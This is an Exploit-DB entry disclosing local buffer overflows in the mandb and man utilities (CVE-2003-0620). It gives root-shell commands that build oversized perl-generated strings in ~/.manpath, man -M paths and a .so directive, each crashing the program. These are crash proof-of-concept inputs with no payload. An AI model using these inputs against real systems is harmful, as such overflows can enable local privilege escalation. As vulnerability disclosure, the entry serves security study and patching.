ManDB Utility 2.3/2.4 - Local Buffer Overflow Vulnerabilities

2003-07-29T00:00:00
ID EDB-ID:22971
Type exploitdb
Reporter V9
Modified 2003-07-29T00:00:00

Description

ManDB Utility 2.3/2.4 Local Buffer Overflow Vulnerabilities. CVE-2003-0620. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/8303/info

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.

These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault

(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault

# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault

# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault

# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault